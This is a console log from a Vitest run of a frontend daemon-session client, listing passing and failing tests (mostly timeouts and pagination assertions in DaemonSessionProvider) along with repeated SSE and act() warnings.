stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "last_client_detached"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "last_client_detached"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "last_client_detached"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "last_client_detached"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "last_client_detached"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "last_client_detached"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "last_client_detached"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed without reason field
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed without reason field
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed without reason field
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed without reason field
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed without reason field
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed without reason field
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed without reason field
[DaemonSessionProvider] SSE stream ended
❯ src/daemon/session/DaemonSessionProvider.test.tsx (181 tests | 21 failed) 214028ms
✓ DaemonSessionProvider > exposes idle connection state without auto connect 991ms
✓ DaemonSessionProvider > does not rerender streaming state consumers for equivalent transcript updates 132ms
✓ DaemonSessionProvider > keeps capabilities handshake failures out of the transcript 349ms
✓ DaemonSessionProvider > connects without creating a session by default 215ms
✓ DaemonSessionProvider > populates git branch from the active session workspace 700ms
✓ DaemonSessionProvider > populates skill slash commands during deferred connect (before first prompt) 288ms
✓ DaemonSessionProvider > preheats ACP and refreshes deferred skills when ACP is not running 108ms
✓ DaemonSessionProvider > clears deferred skills when ACP refresh returns an empty list 113ms
✓ DaemonSessionProvider > skips ACP workspace routes when the daemon lacks their capabilities 76ms
✓ DaemonSessionProvider > skips primary ACP workspace routes for a secondary workspace 111ms
✓ DaemonSessionProvider > preheats without probing status when only preheat is advertised 101ms
✓ DaemonSessionProvider > does not preheat when the advertised ACP status is live 71ms
✓ DaemonSessionProvider > still preheats when the advertised ACP status request fails 144ms
✓ DaemonSessionProvider > keeps the deferred connection usable when preheat fails 76ms
✓ DaemonSessionProvider > warns when deferred workspace providers fail 64ms
✓ DaemonSessionProvider > warns when deferred workspace skills fail 74ms
✓ DaemonSessionProvider > preserves a concurrently created session during deferred connect 169ms
✓ DaemonSessionProvider > can create a session after connecting from the empty state 222ms
✓ DaemonSessionProvider > can send immediately after creating a session from the empty state 393ms
✓ DaemonSessionProvider > reuses the workspace capabilities request when nested in a workspace provider 152ms
✓ DaemonSessionProvider > updates session connection capabilities after a workspace refresh 114ms
✓ DaemonSessionProvider > uses session context models over workspace provider defaults 127ms
✓ DaemonSessionProvider > falls back to provider context window for session context models 129ms
✓ DaemonSessionProvider > falls back to provider models when session context only has current model 136ms
✓ DaemonSessionProvider > does not use provider context window for an unmatched session model 133ms
✓ DaemonSessionProvider > adds daemon goal status metadata to the transcript 147ms
✓ DaemonSessionProvider > routes mid_turn_message_injected frames to the sidechannel and transcript 117ms
✓ DaemonSessionProvider > publishes action error notices when no session is connected 165ms
× DaemonSessionProvider > prevents double submit while a prompt is running 30645ms
→ Test timed out in 30000ms.
If this is a long-running test, pass a timeout value as the last argument or configure it globally with "testTimeout".
✓ DaemonSessionProvider > returns the prompt id from submitPrompt 751ms
✓ DaemonSessionProvider > removes an accepted pending prompt when submitPrompt was already aborted 297ms
✓ DaemonSessionProvider > removes an accepted pending prompt when submitPrompt is aborted 144ms
✓ DaemonSessionProvider > reports a notice when aborted submitPrompt cleanup fails 146ms
✓ DaemonSessionProvider > returns safe pending prompt results when no session is connected 243ms
✓ DaemonSessionProvider > routes stale-session pending prompt removal through the daemon client 81ms
✓ DaemonSessionProvider > routes mid-turn message removal through the matching session owner 158ms
✓ DaemonSessionProvider > forwards the persisted client id of the target session on cross-session removal 122ms
✓ DaemonSessionProvider > rejects stale-session pending prompt refreshes 95ms
✓ DaemonSessionProvider > does not restart the event stream after prompt acceptance by default 168ms
✓ DaemonSessionProvider > keeps prompt loading active after non-blocking prompt acceptance 211ms
✓ DaemonSessionProvider > restarts the event stream when aborting the subscription throws 147ms
✓ DaemonSessionProvider > shows waiting state when a queued prompt starts before assistant output 192ms
✓ DaemonSessionProvider > settles non-blocking prompts when turn completion arrives before acceptance returns 165ms
✓ DaemonSessionProvider > allows the next prompt after a turn completes before acceptance returns 170ms
✓ DaemonSessionProvider > rejects the prompt when turn_error arrives before acceptance returns 159ms
✓ DaemonSessionProvider > sends image prompt content through the daemon action 136ms
✓ DaemonSessionProvider > passes retry prompts through the daemon action 121ms
✓ DaemonSessionProvider > submits permission selections with optional answers 97ms
✓ DaemonSessionProvider > exposes pending permission blocks 170ms
✓ DaemonSessionProvider > exposes workspace event signals from daemon session events 573ms
✓ DaemonSessionProvider > logs settings reloads without inserting daemon debug blocks 465ms
✓ DaemonSessionProvider > treats prompt abort during cancel as cancellation and keeps busy until cancel completes 291ms
✓ DaemonSessionProvider > ends assistant streaming when prompt fails with a non-abort error 147ms
✓ DaemonSessionProvider > coalesces a burst of streamed chunks into one complete ordered transcript 243ms
✓ DaemonSessionProvider > flushes buffered transcript events on unmount instead of dropping them 258ms
✓ DaemonSessionProvider > keeps an observer assistant burst in one block when a debug event interleaves 187ms
✓ DaemonSessionProvider > does not insert abort errors from shell commands into the transcript 115ms
✓ DaemonSessionProvider > keeps cancellation turn errors in the transcript 111ms
✓ DaemonSessionProvider > exposes prompt cancellation events as transcript blocks 208ms
✓ DaemonSessionProvider > keeps forward-failed prompt cancellations out of blocks 103ms
✓ DaemonSessionProvider > exposes catchingUp on resume and clears it on replay_complete 98ms
✓ DaemonSessionProvider > does not re-arm catchingUp after injecting replay for a resumed session 128ms
✓ DaemonSessionProvider > never sets catchingUp on a fresh subscription (no Last-Event-ID) 90ms
✓ DaemonSessionProvider > clears prompt state and transcript when reconnect attaches a different session 181ms
✓ DaemonSessionProvider > reuses the same session client after a normal SSE stream end 105ms
✓ DaemonSessionProvider > does not inject replay snapshot again after a normal SSE stream end 152ms
✓ DaemonSessionProvider > injects replay snapshot on initial session load 108ms
✓ DaemonSessionProvider > uses bounded replay truncation to enable history pagination without rendering it 146ms
✓ DaemonSessionProvider > uses history_truncated marker recordId as pagination anchor when session_updates lack one 130ms
✓ DaemonSessionProvider > prefers session_update recordId over marker recordId for pagination anchor 108ms
✓ DaemonSessionProvider > renders bounded replay truncation when no pagination anchor is available 106ms
✓ DaemonSessionProvider > uses daemon historyAnchorRecordId when neither marker nor session_updates carry a recordId 113ms
✓ DaemonSessionProvider > keeps replayed non-turn events from marking a prompt as waiting 91ms
✓ DaemonSessionProvider > keeps restored active prompts streaming after replay completes 94ms
✓ DaemonSessionProvider > keeps restored active prompts streaming after an SSE stream end 114ms
× DaemonSessionProvider > keeps local prompts active when a restored prompt completes 30219ms
→ Test timed out in 30000ms.
If this is a long-running test, pass a timeout value as the last argument or configure it globally with "testTimeout".
✓ DaemonSessionProvider > keeps restored active prompts busy after shell commands finish 324ms
× DaemonSessionProvider > settles restored active prompts when turn_complete arrives 30055ms
→ Test timed out in 30000ms.
If this is a long-running test, pass a timeout value as the last argument or configure it globally with "testTimeout".
✓ DaemonSessionProvider > settles restored active prompts when turn_error arrives 158ms
✓ DaemonSessionProvider > settles restored active prompts when prompt_cancelled arrives 179ms
× DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled 30281ms
→ Test timed out in 30000ms.
If this is a long-running test, pass a timeout value as the last argument or configure it globally with "testTimeout".
✓ DaemonSessionProvider > does not revive settled restored active prompts after SSE reconnect 379ms
✓ DaemonSessionProvider > reloads restored active prompts after epoch reset 229ms
✓ DaemonSessionProvider > clears restored active prompts when epoch reload is idle 145ms
✓ DaemonSessionProvider > keeps restored active prompts streaming after retriable SSE errors 135ms
✓ DaemonSessionProvider > keeps locally submitted prompts active after retriable SSE errors 178ms
✓ DaemonSessionProvider > keeps restored active prompts streaming after resync requests 1121ms
✓ DaemonSessionProvider > does not infer active prompts from replayed user turns without terminal events 109ms
✓ DaemonSessionProvider > finishes replayed assistant streaming when replay ends with turn_error 131ms
✓ DaemonSessionProvider > finishes each completed turn in replay snapshots 527ms
✓ DaemonSessionProvider > does not let replay state events overwrite fresh connection status 457ms
✓ DaemonSessionProvider > uses providers current model when session context has no model 145ms
✓ DaemonSessionProvider > seeds tokenCount from the latest replay usage on attach 142ms
✓ DaemonSessionProvider > keeps the in-memory tokenCount across SSE re-subscribe when replay has no usage 151ms
✓ DaemonSessionProvider > resets tokenCount when reconnect attaches a different session without replay usage 208ms
✓ DaemonSessionProvider > bumps workspace event signals from replay snapshot events 94ms
✓ DaemonSessionProvider > finishes passive assistant streaming when no prompt action is active 220ms
✓ DaemonSessionProvider > finishes replayed assistant streaming when replay completes 135ms
✓ DaemonSessionProvider > creates a fresh thread session without cancelling the previous session 207ms
✓ DaemonSessionProvider > creates a session from the active session client when already attached 120ms
✓ DaemonSessionProvider > clears the current session without creating a replacement session 168ms
✓ DaemonSessionProvider > keeps workspace skill slash commands after clearing so /review still autocompletes 128ms
✓ DaemonSessionProvider > drops preserved commands when the next session reports an empty list 223ms
✓ DaemonSessionProvider > keeps preserved commands when the next supported-commands fetch fails 220ms
✓ DaemonSessionProvider > ignores streamed events from a session after it is cleared 114ms
✓ DaemonSessionProvider > clears connection state before detach resolves 108ms
✓ DaemonSessionProvider > clears connection state when detaching the current session fails 114ms
✓ DaemonSessionProvider > uses session-scoped client IDs when switching between loaded sessions 234ms
✓ DaemonSessionProvider > reuses the branched session client when switching after branch 200ms
✓ DaemonSessionProvider > exposes daemon capabilities on the connection state 104ms
✓ DaemonSessionProvider > exposes the restored session display name on the connection state 127ms
✓ DaemonSessionProvider > updates the connection display name from metadata events 116ms
✓ DaemonSessionProvider > recovers internally when the daemon requests a state resync 185ms
✓ DaemonSessionProvider > marks the connection unhealthy after repeated heartbeat failures 178ms
✓ DaemonSessionProvider > clears stale sessions on terminal HTTP heartbeat errors 146ms
✓ DaemonSessionProvider > uses recent HTTP status when heartbeat threshold ends with transport failure 176ms
✓ DaemonSessionProvider > preserves missing-session heartbeat status across later HTTP failures 198ms
✓ DaemonSessionProvider > clears prompt state on terminal HTTP heartbeat errors 157ms
✓ DaemonSessionProvider > enters auth-error state on 401 heartbeat auth failures 114ms
✓ DaemonSessionProvider > enters auth-error state on 403 heartbeat auth failures 86ms
✓ DaemonSessionProvider > ignores stale connect attempts after provider props change 196ms
✓ DaemonSessionProvider > rejects interrupted session loads as AbortError during cleanup 126ms
✓ DaemonSessionProvider > keeps the current transcript when a same-session reload is aborted 185ms
✓ DaemonSessionProvider > clears transcript immediately for default session switches 167ms
✓ DaemonSessionProvider > loads controlled sessionId changes 220ms
✓ DaemonSessionProvider > clears transcript loading after replay before metadata finishes 128ms
✓ DaemonSessionProvider > ignores stale metadata after switching to another session 182ms
✓ DaemonSessionProvider > loads controlled sessionId on mount without creating a session 97ms
✓ DaemonSessionProvider > marks controlled sessionId load as loading transcript before load returns 94ms
✓ DaemonSessionProvider > does not create a session when sessionId is undefined 62ms
✓ DaemonSessionProvider > clears the current session when sessionId becomes undefined 112ms
✓ DaemonSessionProvider > does not clear a deferred session created after an empty controlled render 98ms
✓ DaemonSessionProvider > does not retry a failed controlled session load until the host changes it 135ms
✓ DaemonSessionProvider > does not reconnect when event processing options change 89ms
✓ DaemonSessionProvider > clears the session when reconnect is disabled after SSE stream end 115ms
✓ DaemonSessionProvider > clears stale sessions on terminal HTTP stream errors 583ms
✓ DaemonSessionProvider > breaks out of the reconnect loop on 401 auth failures even when autoReconnect is true (wenshao CRIT #1) 189ms
✓ DaemonSessionProvider > breaks out of the reconnect loop on 403 auth failures even when autoReconnect is true (wenshao CRIT #1) 99ms
✓ DaemonSessionProvider > does not create a replacement session when requested sessionId returns 404 123ms
✓ DaemonSessionProvider > does not create a replacement session when requested sessionId returns 410 89ms
✓ DaemonSessionProvider > clears missing-session state when starting a new session 282ms
✓ DaemonSessionProvider > preserves transcript and clears prompt state on 401 auth failures from the SSE stream 243ms
✓ DaemonSessionProvider > preserves transcript and clears prompt state on 403 auth failures from the SSE stream 124ms
✓ DaemonSessionProvider > times out hung cancel actions 145ms
✓ DaemonSessionProvider > times out hung setModel actions 115ms
✓ DaemonSessionProvider > times out hung respondToPermission actions 107ms
✓ DaemonSessionProvider > reloads stale transcript after epoch-reset resync 1082ms
✓ DaemonSessionProvider > reloads the session snapshot after ring-evicted resync 156ms
✓ DaemonSessionProvider > settles active prompts from replay snapshot after ring eviction 247ms
✓ DaemonSessionProvider > rejects active prompts from replay turn_error after ring eviction 188ms
× DaemonSessionProvider > does not settle unaccepted prompts from historical replay turns 30236ms
→ Test timed out in 30000ms.
If this is a long-running test, pass a timeout value as the last argument or configure it globally with "testTimeout".
✓ DaemonSessionProvider > keeps own user messages when replay rebuilds after ring eviction 426ms
✓ DaemonSessionProvider > skips malformed replay events without dropping later replay history 171ms
✓ DaemonSessionProvider > retries when ring-evicted reload fails once 201ms
✓ DaemonSessionProvider > accepts live events after ring-evicted reload reconnects 194ms
✓ DaemonSessionProvider > preserves session and uses delta resume after a retriable SSE error 197ms
✓ DaemonSessionProvider > routes session_died errors to notices, not transcript 125ms
✓ DaemonSessionProvider > deduplicates live and snapshot recording degradation notices 103ms
✓ DaemonSessionProvider > clears a degraded notice after an authoritative healthy snapshot 83ms
✓ DaemonSessionProvider > allows a later degraded snapshot to restore a dismissed notice 118ms
✓ DaemonSessionProvider > stops reconnect loop on session_closed (user deleted session) even when autoReconnect is true 208ms
✓ DaemonSessionProvider > aborts in-flight prompt when session_closed arrives mid-stream 199ms
✓ DaemonSessionProvider > reloads after epoch reset instead of consuming same-stream session_closed 141ms
× DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout" 30067ms
→ Test timed out in 30000ms.
If this is a long-running test, pass a timeout value as the last argument or configure it globally with "testTimeout".
✓ DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "last_client_detached" 217ms
✓ DaemonSessionProvider > does NOT stop reconnect on session_closed without reason field 199ms
× DaemonSessionProvider > routes stream_error to notices with connection category 525ms
→ expected [] to match object [ { category: 'connection', …(1) } ]
× DaemonSessionProvider > routes model_switch_failed to notices with user_action category 309ms
→ expected [] to match object [ { category: 'user_action', …(2) } ]
× DaemonSessionProvider > keeps turn_error in transcript instead of routing to notices 100ms
→ expected [] to match object [ { kind: 'error', …(2) } ]
× DaemonSessionProvider > routes client_evicted to notices with connection category 56ms
→ expected [] to match object [ { category: 'connection', …(1) } ]
× DaemonSessionProvider > keeps history pagination disabled when the server does not advertise it 86ms
→ expected "spy" to be called with arguments: [ Anything, …(3) ][90m
Number of calls: [1m0[22m
[39m
× DaemonSessionProvider > prepends an older transcript page from the first replay record 43ms
→ expected "spy" to be called with arguments: [ Anything, …(3) ][90m
Number of calls: [1m0[22m
[39m
× DaemonSessionProvider > drops fetched transcript events whose records are already displayed 51ms
→ expected [] to deeply equal [ 'older prompt', 'displayed prompt' ]
× DaemonSessionProvider > keeps transient transcript page failures retryable 58ms
→ You must provide a Promise to expect() when using .rejects, not 'undefined'.
× DaemonSessionProvider > latches a non-retryable transcript page failure 44ms
→ You must provide a Promise to expect() when using .rejects, not 'undefined'.
× DaemonSessionProvider > retries a latched pagination failure when loadMore is forced 34ms
→ You must provide a Promise to expect() when using .rejects, not 'undefined'.
× DaemonSessionProvider > skips malformed older-page events and advances by record boundary 40ms
→ expected undefined to be true // Object.is equality
× DaemonSessionProvider > falls back to the server cursor when a page has no record boundary 50ms
→ expected 2nd "spy" call to have been called with [ …(2) ], but called only 0 times
× DaemonSessionProvider > reports a partial older page without changing the transcript 32ms
→ You must provide a Promise to expect() when using .rejects, not 'undefined'.
× DaemonSessionProvider > keeps an oversized initial replay intact and stops older pagination 43ms
→ expected [] to match object [ { kind: 'user', …(1) }, …(1) ]
× DaemonSessionProvider > rejects a terminal older page that does not fit atomically 59ms
→ expected undefined to match object { Object (hasMore, loading, ...) }
✓ src/daemon/workspace/DaemonWorkspaceProvider.test.tsx (19 tests) 3051ms
✓ DaemonWorkspaceProvider > exposes workspace context with autoConnect 730ms
✓ DaemonWorkspaceProvider > refreshCapabilities re-fetches and updates capabilities state 383ms
✓ DaemonWorkspaceProvider > loads workspace glob matches 317ms
✓ src/daemon/workspace/hooks/useDaemonChannels.test.tsx (9 tests) 2085ms
✓ useDaemonChannels > auto-loads the selected workspace and exposes normalized data 713ms
✓ useDaemonChannels > reloads after configuration and lifecycle mutations 348ms
✓ useDaemonChannels > propagates mutation errors without reloading 442ms
stderr | src/daemon/workspace/hooks/useDaemonResource.test.tsx > useDaemonResource > loads data on autoLoad
The current testing environment is not configured to support act(...)
stderr | src/daemon/workspace/hooks/useDaemonResource.test.tsx > useDaemonResource > loads data on autoLoad
The current testing environment is not configured to support act(...)
stderr | src/daemon/workspace/hooks/useDaemonResource.test.tsx > useDaemonResource > loads data on autoLoad
The current testing environment is not configured to support act(...)
stderr | src/daemon/workspace/hooks/useDaemonResource.test.tsx > useDaemonResource > loads data on autoLoad
The current testing environment is not configured to support act(...)
stderr | src/daemon/workspace/hooks/useDaemonResource.test.tsx > useDaemonResource > does not load when enabled is false
The current testing environment is not configured to support act(...)
stderr | src/daemon/workspace/hooks/useDaemonResource.test.tsx > useDaemonResource > does not load when enabled is false
The current testing environment is not configured to support act(...)
stderr | src/daemon/workspace/hooks/useDaemonResource.test.tsx > useDaemonResource > reports error on load failure
The current testing environment is not configured to support act(...)
stderr | src/daemon/workspace/hooks/useDaemonResource.test.tsx > useDaemonResource > reports error on load failure
The current testing environment is not configured to support act(...)
stderr | src/daemon/workspace/hooks/useDaemonResource.test.tsx > useDaemonResource > reports error on load failure
The current testing environment is not configured to support act(...)
stderr | src/daemon/workspace/hooks/useDaemonResource.test.tsx > useDaemonResource > reports error on load failure
The current testing environment is not configured to support act(...)
stderr | src/daemon/workspace/hooks/useDaemonResource.test.tsx > useDaemonResource > stale response does not overwrite fresh data
The current testing environment is not configured to support act(...)
stderr | src/daemon/workspace/hooks/useDaemonResource.test.tsx > useDaemonResource > stale response does not overwrite fresh data
The current testing environment is not configured to support act(...)
The current testing environment is not configured to support act(...)
stderr | src/daemon/workspace/hooks/useDaemonResource.test.tsx > useDaemonResource > stale response does not overwrite fresh data
The current testing environment is not configured to support act(...)
stderr | src/daemon/workspace/hooks/useDaemonResource.test.tsx > useDaemonResource > stale response does not overwrite fresh data
The current testing environment is not configured to support act(...)
stderr | src/daemon/workspace/hooks/useDaemonResource.test.tsx > useDaemonResource > stale error does not overwrite fresh data
The current testing environment is not configured to support act(...)
stderr | src/daemon/workspace/hooks/useDaemonResource.test.tsx > useDaemonResource > stale error does not overwrite fresh data
The current testing environment is not configured to support act(...)
The current testing environment is not configured to support act(...)
stderr | src/daemon/workspace/hooks/useDaemonResource.test.tsx > useDaemonResource > stale error does not overwrite fresh data
The current testing environment is not configured to support act(...)
stderr | src/daemon/workspace/hooks/useDaemonResource.test.tsx > useDaemonResource > stale error does not overwrite fresh data
The current testing environment is not configured to support act(...)
✓ src/daemon/workspace/hooks/useDaemonResource.test.tsx (5 tests) 1749ms
✓ useDaemonResource > loads data on autoLoad 741ms
✓ useDaemonResource > stale error does not overwrite fresh data 558ms
✓ src/daemon/session/clientLifecycle.test.ts (15 tests) 983ms
✓ src/components/messages/MessageMeta.test.tsx (4 tests) 3248ms
✓ MessageMeta > renders message time and copy action 2072ms
✓ MessageMeta > shows copied state after copying 716ms
Browserslist: browsers data (caniuse-lite) is 10 months old. Please run:
npx update-browserslist-db@latest
Why you should do it regularly: https://github.com/browserslist/update-db#readme
✓ src/components/toolcalls/ShellToolCall.test.tsx (3 tests) 2858ms
✓ ShellToolCall collapsible output > preserves and expands the full bash output without opening a temp file 2181ms
✓ ShellToolCall collapsible output > preserves and expands the full execute output without opening a temp file 472ms
✓ src/daemon/workspace/hooks/useDaemonProviders.test.tsx (3 tests) 838ms
✓ useDaemonProviders > auto-loads and normalizes the provider/current output 629ms
✓ src/components/PermissionDrawer.test.tsx (4 tests) 2087ms
✓ PermissionDrawer > renders the dedicated Agent prompt when toolName is "agent" 882ms
✓ PermissionDrawer > falls back to the generic title for non-agent tools 453ms
✓ PermissionDrawer > does not render a review-text block for normal diff-based edits 534ms
✓ src/hooks/useLocalStorage.test.tsx (6 tests) 1600ms
✓ useLocalStorage > applies both functional updates batched in one render 641ms
✓ src/components/toolcalls/ThinkToolCall.test.tsx (2 tests) 2056ms
✓ ThinkToolCall collapsible output > preserves long thoughts and exposes expand and collapse controls 1743ms
stderr | src/daemon/workspace/hooks/useDaemonStatusReport.test.tsx > useDaemonStatusReport > exposes the loaded data through the `report` alias
The current testing environment is not configured to support act(...)
stderr | src/daemon/workspace/hooks/useDaemonStatusReport.test.tsx > useDaemonStatusReport > exposes the loaded data through the `report` alias
The current testing environment is not configured to support act(...)
stderr | src/daemon/workspace/hooks/useDaemonStatusReport.test.tsx > useDaemonStatusReport > exposes the loaded data through the `report` alias
The current testing environment is not configured to support act(...)
stderr | src/daemon/workspace/hooks/useDaemonStatusReport.test.tsx > useDaemonStatusReport > exposes the loaded data through the `report` alias
The current testing environment is not configured to support act(...)
stderr | src/daemon/workspace/hooks/useDaemonStatusReport.test.tsx > useDaemonStatusReport > forwards the detail level to loadDaemonStatus (default summary)
The current testing environment is not configured to support act(...)
stderr | src/daemon/workspace/hooks/useDaemonStatusReport.test.tsx > useDaemonStatusReport > forwards the detail level to loadDaemonStatus (default summary)
The current testing environment is not configured to support act(...)
stderr | src/daemon/workspace/hooks/useDaemonStatusReport.test.tsx > useDaemonStatusReport > forwards the detail level to loadDaemonStatus (default summary)
The current testing environment is not configured to support act(...)
stderr | src/daemon/workspace/hooks/useDaemonStatusReport.test.tsx > useDaemonStatusReport > forwards the detail level to loadDaemonStatus (default summary)
The current testing environment is not configured to support act(...)
stderr | src/daemon/workspace/hooks/useDaemonStatusReport.test.tsx > useDaemonStatusReport > forwards the detail level to loadDaemonStatus (default summary)
The current testing environment is not configured to support act(...)
stderr | src/daemon/workspace/hooks/useDaemonStatusReport.test.tsx > useDaemonStatusReport > forwards the detail level to loadDaemonStatus (default summary)
